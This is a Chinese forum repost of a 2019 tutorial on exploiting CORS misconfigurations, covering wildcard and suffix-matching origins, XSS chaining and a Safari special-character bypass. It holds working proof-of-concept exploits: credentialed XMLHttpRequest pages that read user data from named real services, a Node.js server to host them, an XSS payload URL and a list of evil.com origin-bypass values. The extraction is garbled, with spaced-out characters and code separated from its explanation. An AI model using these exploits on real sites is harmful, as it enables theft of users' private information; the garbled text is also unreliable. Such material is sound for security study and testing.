搜索

[18872] 2019-06-17_CORS漏洞总结

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2019-06-17_CORS漏洞总结 C O R S 漏 洞 总 结 c r h u a   h u a s e c   2 0 1 9 - 0 6 - 1 7 0 1 — 漏 洞 挖 掘 返 回 报 文 头 部 存 在 A c c e s s - C o n t r o l - A l l o w - O r i g i n ， 如 果 A c c e s s - C o n t r o l - A l l o w - O r i g i n   可 控 ， 且   A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s   为 t r u e ， 那 么 就 可 以 利 用 一 个 可 控 的 网 站 来 窃 取 用 户 的 隐 私 信 息 。 0 2 — 漏 洞 检 测 方 法 方 法 一 方 法 一 ： 打 开 b u r p ， p r o x y   - >   o p t i o n s   添 加 请 求 头   过 滤 数 据 包 ， 查 找 哪 些 数 据 包 返 回 包   包 含   h u a s e c . c o m 方 法 二 方 法 二 ： 观 察 返 回 包 的   A c c e s s - C o n t r o l - A l l o w - O r i g i n   字 段 是 否 为 方 法 三 ： 方 法 三 ： P O C : o r i g i n : h t t p : / / w w w . h u a s e c . c o m A c c e s s - C o n t r o l - A l l o w - O r i g i n : h u a s e c . c o m c u r l   h t t p s : / / w w w . h u a s e c . c o m   - H   " O r i g i n :   h t t p s : / / e v i l . c o m "   - I h t t p s : / / e v i l . c o m
0 3 — 漏 洞 存 在 点 1 . w e b 的 a p i 接 口 2 . 聊 天 程 序 的 a p i 接 口 3 . a p p 的 a p i 4 . 观 察 b u r p 被 动 流 量 中 为 j s o n 格 式 返 回 包 0 4 — 案 例 利 用 利 用 C O R S 头 部 中 错 误 配 置 的 通 配 符 （ 头 部 中 错 误 配 置 的 通 配 符 （ * ） ） 最 常 见 的 一 种 C O R S 错 误 配 置 场 景 就 是 在 设 置 可 访 问 资 源 的 域 时 错 误 使 用 了 通 配 符 （ 如 * ） 。 通 配 符 是 C O R S 默 认 设 置 的 值 ， 这 意 味 着 任 何 域 都 能 访 问 该 站 点 上 的 资 源 。 比 如 如 下 请 求 ： 当 我 们 发 送 如 上 请 求 时 ， 就 会 收 到 包 含 A c c e s s - C o n t r o l - A l l o w - O r i g i n 头 部 的 一 个 响 应 ， 具 体 如 下 ： 在 这 个 例 子 中 ， 头 部 字 段 中 包 含 一 个 通 配 符 （ * ） ， 这 意 味 着 任 何 域 都 可 以 访 问 目 标 资 源 。 在 测 试 客 户 的 某 个 应 用 时 ， 我 们 注 意 到 该 应 用 存 在 这 种 错 误 配 置 问 题 ， 我 们 也 利 用 这 一 点 获 取 到 了 用 户 的 敏 感 信 息 ， 包 括 姓 名 、 U s e r   I D 、 E m a i l   I D 等 ， 最 终 成 功 将 这 些 信 息 发 送 到 外 部 服 务 器 。 在 下 图 中 ， 我 们 修 改 了 请 求 的 O r i g i n 头 ， 把 目 标 域 与 修 改 成 攻 击 者 所 在 的 域 。 修 改 请 求 中 的 O r i g i n 值 我 们 收 到 的 响 应 如 下 图 所 示 ， 响 应 头 中 包 含 ， 这 意 味 着 所 有 站 点 都 可 以 访 问 v i c t i m 域 的 资 源 。 在 这 个 攻 击 场 景 中 ， 我 们 使 用 的 是 t e s t i n g . a a a . c o m 这 个 站 点 。 < ! D O C T Y P E   h t m l > < h t m l > < b o d y > < c e n t e r > < h 2 > C O R S   P O C   E x p l o i t < / h 2 > < h 3 > E x t r a c t   S I D < / h 3 > < d i v   i d = " d e m o " > < b u t t o n   t y p e = " b u t t o n "   o n c l i c k = " c o r s ( ) " > E x p l o i t < / b u t t o n > < / d i v > < s c r i p t > f u n c t i o n   c o r s ( )   {     v a r   x h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;     x h t t p . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {         i f   ( t h i s . r e a d y S t a t e   = =   4   & &   t h i s . s t a t u s   = =   2 0 0 )   {             d o c u m e n t . g e t E l e m e n t B y I d ( " d e m o " ) . i n n e r H T M L   =   a l e r t ( t h i s . r e s p o n s e T e x t ) ;         }     } ;     x h t t p . o p e n ( " G E T " ,   " h t t p s : / / t a r g e t . c o m / u s e r i n f o / " ,   t r u e ) ;     x h t t p . w i t h C r e d e n t i a l s   =   t r u e ;     x h t t p . s e n d ( ) ; } < / s c r i p t > < / b o d y > < / h t m l > G E T   / a p i / u s e r i n f o . p h p H o s t :   w w w . h u a s e c . c o m O r i g i n :   w w w . h u a s e c . c o m H T T P / 1 . 0   2 0 0   O K A c c e s s - C o n t r o l - A l l o w - O r i g i n :   * A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e A c c e s s - C o n t r o l - A l l o w - O r i g i n :   *
由 于 目 标 站 点 可 以 与 任 何 站 点 共 享 信 息 ， 因 此 我 们 使 用 自 己 的 域 进 一 步 利 用 这 一 点 。 我 们 创 建 了 名 为 h t t p s : / / t e s t i n g . a a a . c o m 的 一 个 域 ， 然 后 在 该 域 中 嵌 入 了 利 用 代 码 ， 以 便 从 存 在 缺 陷 的 目 标 应 用 窃 取 敏 感 信 息 。 当 受 害 者 在 浏 览 器 中 打 开 h t t p s : / / t e s t i n g . a a a . c o m 时 ， 利 用 代 码 就 可 以 获 取 敏 感 信 息 ， 将 其 发 送 到 攻 击 者 的 服 务 器 。 使 用 这 种 攻 击 方 法 我 们 能 够 获 取 到 的 信 息 如 下 图 所 示 ： 利 用 错 误 匹 配 的 不 完 整 域 名 利 用 错 误 匹 配 的 不 完 整 域 名 另 一 种 常 见 的 错 误 配 置 就 是 允 许 非 完 整 域 名 之 间 的 信 息 共 享 。 比 如 如 下 一 种 请 求 ： 响 应 的 响 应 包 头 如 下 ： 如 果 开 发 者 在 配 置 C O R S 时 会 验 证 O r i g i n 头 部 的 U R L 值 ， 其 中 白 名 单 域 名 设 置 为 r e q u e s t e r . c o m 。 现 在 ， 当 攻 击 者 构 造 如 下 一 个 请 求 时 ： 服 务 器 可 能 会 返 回 如 下 响 应 头 ： 之 所 以 出 现 这 种 情 况 ， 可 能 是 后 端 在 验 证 策 略 上 采 用 了 错 误 的 配 置 。 我 们 也 在 某 个 客 户 的 应 用 上 发 现 了 这 种 问 题 。 目 标 域 p r o v i d e r . c o m 会 信 任 以 r e q u e s t e r . c o m 结 尾 的 所 有 主 机 名 （ 如 a t t a c k e r r e q u e s t e r . c o m ） 。 因 此 ， 我 们 可 以 将 O r i g i n 头 改 成 a t t a c k e r r e q u e s t e r . c o m ， 继 续 发 送 请 求 。 响 应 数 据 包 中 A c c e s s - c o n t r o l - A l l o w - O r i g i n 照 搬 了 我 们 设 置 的 O r i g i n 头 ， 这 意 味 着 以 r e q u e s t e r . c o m 结 尾 的 域 能 够 访 问 p r o v i d e r . c o m 域 上 的 资 源 。 我 们 可 以 采 用 与 第 一 种 错 误 配 置 场 景 类 似 的 利 用 方 式 。 比 如 ， 我 们 可 以 创 建 包 含 白 名 单 域 名 的 一 个 新 域 名 ， 然 后 在 该 恶 意 站 点 中 嵌 入 利 用 代 码 。 以 便 从 受 害 站 点 中 窃 取 敏 感 信 息 。 利 用 利 用 X S S 请 求 跨 域 站 点 请 求 跨 域 站 点 这 个 C O R S 配 置 错 误 看 起 来 如 下 ： G E T   / a p i / u s e r i n f o . p h p H o s t :   p r o v i d e r . c o m O r i g i n :   r e q u e s t e r . c o m H T T P / 1 . 0   2 0 0   O K A c c e s s - C o n t r o l - A l l o w - O r i g i n :   r e q u e s t e r . c o m A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e G E T   / a p i / u s e r i n f o . p h p H o s t :   e x a m p l e . c o m C o n n e c t i o n :   c l o s e O r i g i n :   a t t a c k e r r e q u e s t e r . c o m H T T P / 1 . 0   2 0 0   O K A c c e s s - C o n t r o l - A l l o w - O r i g i n :   a t t a c k e r r e q u e s t e r . c o m A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e
H T T P   请 求 ： H T T P   响 应 ： 这 个 A P I 返 回 用 户 的 私 人 信 息 ， 如 全 名 ， 电 子 邮 件 地 址 等 。 想 要 利 用 这 种 错 误 配 置 并 执 行 攻 击 ， 如 泄 露 用 户 的 私 人 信 息 ， 我 们 需 要 找 到 一 个 废 弃 的 子 域 （ 利 用 子 域 名 接 管 攻 击 ） ， 或 在 其 中 一 个 现 有 子 域 中 找 到 X S S 。 想 找 到 一 个 废 弃 的 子 域 并 不 容 易 ， 所 以 我 决 定 还 是 在 一 个 现 有 的 子 域 中 找 到 X S S 。 如 我 所 料 ， 在 不 到 一 小 时 的 时 间 里 ， 我 就 在 b a n q u e s . r e d a c t e d . c o m 上 发 现 了 一 个 X S S ， 使 用 的 p a y l o a d 如 下 ： 要 利 用 此 C O R S 配 置 错 误 漏 洞 ， 我 们 只 需 使 用 以 下 代 码 替 换 p a y l o a d   a l e r t ( d o c u m e n t . d o m a i n ) ： P O C ： 利 用 利 用 s a f a r i 进 行 进 行 c o r s 目 标 ： h t t p s : / / c l i e n t . a m p l i f i . c o m / a p i / u s e r /   可 以 获 取 用 户 的 私 人 信 息 ； 此 应 用 程 序 还 将 任 意 子 域 列 入 了 白 名 单 ， 甚 至 是 不 存 在 的 子 域 。 想 要 利 用 用 这 种 C O R S 错 误 配 置 ， 你 需 要 先 声 明 一 个 废 弃 子 域 ， 或 在 一 个 现 有 的 子 域 中 找 到 X S S 。 高 级 利 用 手 法 ： 高 级 利 用 手 法 ： 让 我 们 尝 试 打 开 一 个 包 含 特 殊 字 符 的 U R L ， 如 ： G E T   / a p i / r e t u r n   H T T P / 1 . 1 H o s t :   w w w . r e d a c t e d . c o m O r i g i n :   e v i l . r e d a c t e d . c o m C o n n e c t i o n :   c l o s e H T T P / 1 . 1   2 0 0   O K A c c e s s - c o n t r o l - a l l o w - c r e d e n t i a l s :   t r u e A c c e s s - c o n t r o l - a l l o w - o r i g i n :   e v i l . r e d a c t e d . c o m h t t p s : / / b a n q u e s . r e d a c t e d . c o m / c h o i c e - q u i z ? f o r m _ b a n q u e = " > < s c r i p t > a l e r t ( d o c u m e n t . d o m a i n ) < / s c r i p t > & f o r m _ c a r t e s = 7 3 & i f r a m e s t a t = 1 f u n c t i o n   c o r s ( )   {     v a r   x h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;     x h t t p . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {                 i f   ( t h i s . s t a t u s   = =   2 0 0 )   {                 a l e r t ( t h i s . r e s p o n s e T e x t ) ;                   d o c u m e n t . g e t E l e m e n t B y I d ( " d e m o " ) . i n n e r H T M L   =   t h i s . r e s p o n s e T e x t ;                 }     } ;     x h t t p . o p e n ( " G E T " ,   " h t t p s : / / w w w . r e d a c t e d . c o m / a p i / r e t u r n " ,   t r u e ) ;     x h t t p . w i t h C r e d e n t i a l s   =   t r u e ;     x h t t p . s e n d ( ) ; } c o r s ( ) ; h t t p s : / / b a n q u e s . r e d a c t e d . c o m / c h o i c e - q u i z ? f o r m _ b a n q u e = " > < s c r i p t > f u n c t i o n % 2 0 c o r s ( ) { v a r % 2 0 x h t t p = n e w % 2 0 X M L H t t p R e q u e s t ( ) ; x h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) { i f ( t h i s . s t a t u s = = 2 0 0 )   a l e r t ( t h i s . r e s p o n s e T e x t ) ; d o c u m e n t . g e t E l e m e n t B y I d ( " h t t p : / / a s d f ` + = . w i t h g o o g l e . c o m
大 多 数 浏 览 器 会 在 发 出 任 何 请 求 之 前 验 证 域 名 。 C h r o m e ： F i r e f o x ： S a f a r i ： 正 如 你 所 看 到 的 ， S a f a r i 是 一 个 例 外 ， 它 实 际 上 会 发 送 请 求 并 尝 试 加 载 页 面 ， 这 与 其 他 浏 览 器 不 同 。 我 们 可 以 使 用 各 种 不 同 的 字 符 ， 甚 至 是 不 可 打 印 的 字 符 利 用 上 面 的 介 绍 ， 发 现 W e b 应 用 程 序 还 接 受 , & ' " ; ! $ ^ * ( ) + = ` ~ - _ = | { } % / / 不 可 打 印 字 符 % 0 1 - 0 8 , % 0 b , % 0 c , % 0 e , % 0 f , % 1 0 - % 1 f , % 7 f O r i g i n   * . u b n t . c o m ! . e v i l . c o m
不 只 是 字 符 “ ! ” ， 还 包 括 以 下 字 符 ： 某 些 浏 览 器 （ 如 S a f a r i ） 可 以 接 受 具 有 特 殊 字 符 的 U R L ， 例 如 ： 因 此 ， 如 果 我 们 使 用 通 配 符 D N S 记 录 设 置 了 一 个 域 ： e v i l . c o m ， 允 许 将 所 有 子 域 （ * . e v i l . c o m ） 指 向   w w w . e v i l . c o m ， 它 将 在 类 似 w w w . e v i l . c o m / c o r s - p o c 的 页 面 中 托 管 一 个 脚 本 ， 该 页 面 将 向 易 受 攻 击 的 端 点 发 送 一 个 以 子 域 名 为 起 始 值 的 跨 域 请 求 。 然 后 一 个 经 过 身 份 验 证 的 用 户 打 开 链 接 ： 利 用 再 现 ： 利 用 再 现 ： 1 . 首 先 ， 设 置 一 个 带 有 通 配 符 D N S 记 录 的 域 ， 将 其 指 向 你 的 机 器 ， 在 本 例 中 我 使 用 G o D a d d y 来 托 管 我 的 域 ， 配 置 如 下 ： 2 . 安 装 N o d e J S ， 创 建 一 个 新 目 录 ， 然 后 在 其 中 保 存 以 下 文 件 ： s e r v e . j s * . u b n t . c o m ! . e v i l . c o m   * . u b n t . c o m " . e v i l . c o m   * . u b n t . c o m $ . e v i l . c o m   * . u b n t . c o m % 0 b . e v i l . c o m   * . u b n t . c o m % 6 0 . e v i l . c o m   * . u b n t . c o m & . e v i l . c o m   * . u b n t . c o m ' . e v i l . c o m   * . u b n t . c o m ( . e v i l . c o m   * . u b n t . c o m ) . e v i l . c o m   * . u b n t . c o m * . e v i l . c o m   * . u b n t . c o m , . e v i l . c o m   * . u b n t . c o m ; . e v i l . c o m   * . u b n t . c o m = . e v i l . c o m   * . u b n t . c o m ^ . e v i l . c o m   * . u b n t . c o m ` . e v i l . c o m   * . u b n t . c o m { . e v i l . c o m   * . u b n t . c o m | . e v i l . c o m   * . u b n t . c o m } . e v i l . c o m   * . u b n t . c o m ~ . e v i l . c o m h t t p s : / / z z z z . u b n t . c o m = . e v i l . c o m h t t p s : / / z z z z . u b n t . c o m = . e v i l . c o m / c o r s - p o c v a r   h t t p   =   r e q u i r e ( ' h t t p ' ) ; v a r   u r l     =   r e q u i r e ( ' u r l ' ) ; v a r   f s       =   r e q u i r e ( ' f s ' ) ; v a r   p o r t   =   8 0 h t t p . c r e a t e S e r v e r ( f u n c t i o n ( r e q ,   r e s )   {         i f   ( r e q . u r l   = =   ' / c o r s - p o c ' )   {                 f s . r e a d F i l e ( ' c o r s . h t m l ' ,   f u n c t i o n ( e r r ,   d a t a )   {                         r e s . w r i t e H e a d ( 2 0 0 ,   { ' C o n t e n t - T y p e ' : ' t e x t / h t m l ' } ) ;                         r e s . w r i t e ( d a t a ) ;                         r e s . e n d ( ) ;
3 . 在 同 一 目 录 中 ， 保 存 以 下 内 容 ： c o r s . h t m l 4 . 通 过 运 行 以 下 命 令 启 动 N o d e J S 服 务 器 ： 5 . 现 在 ， 登 录 到     h t t p s : / / p r o t e c t . u b n t . c o m / ， 并 检 查 是 否 可 以 从 a p i 查 看 帐 户 信 息 ： h t t p s : / / c l i e n t . a m p l i f i . c o m / a p i / u s e r / 6 . 最 后 ， 在 S a f a r i 浏 览 器 中 打 开 链 接 ： h t t p s : / / z z z z . u b n t . c o m = . e v i l . c o m / c o r s - p o c 。 案 例 来 源 ： h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 2 0 4 0 2 3 . h t m l 0 5 — 工 具 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / c r h u a / C O R S c a n n e r 当 我 们 对 某 s r c 收 集 完 子 域 名 , 可 以 使 用 这 个 工 具 跑 一 下 ， 哪 些 域 名 可 被 利 用 ， 当 挖 掘 到 这 个 域 名 时 就 尝 试 下 是 可 以 进 一 步 利 用 。                 } ) ;         }   e l s e   {                 r e s . w r i t e H e a d ( 2 0 0 ,   { ' C o n t e n t - T y p e ' : ' t e x t / h t m l ' } ) ;                 r e s . w r i t e ( ' n e v e r   g o n n a   g i v e   y o u   u p . . . ' ) ;                 r e s . e n d ( ) ;         } } ) . l i s t e n ( p o r t ,   ' 0 . 0 . 0 . 0 ' ) ; c o n s o l e . l o g ( ` S e r v i n g   o n   p o r t   $ { p o r t } ` ) ; < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < t i t l e > C O R S < / t i t l e > < / h e a d > < b o d y   o n l o a d = " c o r s ( ) ; " > < c e n t e r > c o r s   p r o o f - o f - c o n c e p t : < b r > < b r > < t e x t a r e a   r o w s = " 1 0 "   c o l s = " 6 0 "   i d = " p w n z " > < / t e x t a r e a > < b r > < / d i v > < s c r i p t > f u n c t i o n   c o r s ( )   {     v a r   x h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;     x h t t p . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {         i f   ( t h i s . r e a d y S t a t e   = =   4   & &   t h i s . s t a t u s   = =   2 0 0 )   {             d o c u m e n t . g e t E l e m e n t B y I d ( " p w n z " ) . i n n e r H T M L   =   t h i s . r e s p o n s e T e x t ;         }     } ;     x h t t p . o p e n ( " G E T " ,   " h t t p s : / / c l i e n t . a m p l i f i . c o m / a p i / u s e r / " ,   t r u e ) ;     x h t t p . w i t h C r e d e n t i a l s   =   t r u e ;     x h t t p . s e n d ( ) ; } < / s c r i p t > n o d e   s e r v e . j s   &

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理